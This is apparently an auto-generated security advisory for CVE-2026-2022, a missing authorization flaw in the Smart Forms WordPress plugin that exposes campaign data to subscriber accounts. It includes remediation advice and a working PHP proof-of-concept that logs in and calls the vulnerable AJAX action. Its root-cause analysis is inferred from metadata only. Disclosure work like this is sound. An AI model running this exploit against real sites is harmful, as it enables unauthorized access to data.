Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2022: Smart Forms <= 2.6.99 – Missing Authorization to Authenticated (Subscriber+) Campaign Data Exposure (smart-forms)

CVE ID CVE-2026-2022
Plugin smart-forms
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.6.99
Patched Version
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2022 (metadata-based):
This vulnerability in the Smart Forms WordPress plugin allows authenticated users with Subscriber-level permissions or higher to retrieve donation campaign data without proper authorization. The flaw exists in the AJAX handler for the ‘rednao_smart_forms_get_campaigns’ action. The CVSS 4.3 score reflects a low confidentiality impact with no integrity or availability consequences.

Atomic Edge research identifies the root cause as a missing capability check within the plugin’s AJAX callback function. WordPress AJAX handlers must verify both nonces and user capabilities before performing sensitive operations. The plugin likely registers this AJAX action with both wp_ajax_ and wp_ajax_nopriv_ hooks, or fails to include a current_user_can() check within the callback function. These conclusions are inferred from the CWE-862 classification and the vulnerability description, since no source code is available for confirmation.

Exploitation requires an authenticated WordPress session with at least Subscriber privileges. Attackers send a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘rednao_smart_forms_get_campaigns’. No additional parameters appear necessary based on the description. The server responds with campaign data containing IDs and names. Attackers could automate this process to enumerate all available campaigns.

Remediation requires adding a proper capability check before processing the AJAX request. The plugin should verify the user has appropriate permissions, likely using current_user_can(‘manage_options’) or a custom capability specific to campaign management. The AJAX handler should also validate a nonce to prevent CSRF attacks. WordPress best practices dictate removing the wp_ajax_nopriv_ hook registration for sensitive data endpoints.

The impact is limited to information disclosure of campaign identifiers and names. Attackers cannot modify data or escalate privileges through this vulnerability alone. Exposed campaign information could facilitate social engineering attacks or targeted phishing campaigns against donors. The data exposure violates the principle of least privilege by allowing low-level users to access administrative data.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2022 - Smart Forms <= 2.6.99 - Missing Authorization to Authenticated (Subscriber+) Campaign Data Exposure

<?php
/**
 * Proof of Concept for CVE-2026-2022
 * Assumptions based on vulnerability description:
 * 1. The AJAX endpoint is /wp-admin/admin-ajax.php
 * 2. The action parameter must be 'rednao_smart_forms_get_campaigns'
 * 3. No nonce or additional parameters are required
 * 4. Authentication cookies must be provided
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// First, authenticate to WordPress to obtain session cookies
function authenticate_wordpress($url, $user, $pass) {
    $login_url = str_replace('/admin-ajax.php', '/wp-login.php', $url);
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $user,
            'pwd' => $pass,
            'wp-submit' => 'Log In',
            'redirect_to' => $url,
            'testcookie' => '1'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $http_code === 200 && strpos($response, 'dashboard') !== false;
}

// Exploit the missing authorization vulnerability
function exploit_campaign_exposure($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'rednao_smart_forms_get_campaigns'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded',
            'X-Requested-With: XMLHttpRequest'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Parse JSON response if successful
    if ($http_code === 200 && $response) {
        $data = json_decode($response, true);
        if (json_last_error() === JSON_ERROR_NONE) {
            echo "nParsed campaign data:n";
            print_r($data);
        }
    }
}

// Execute the PoC
if (authenticate_wordpress($target_url, $username, $password)) {
    echo "Authentication successful. Exploiting vulnerability...nn";
    exploit_campaign_exposure($target_url);
} else {
    echo "Authentication failed. Check credentials.n";
}

?>

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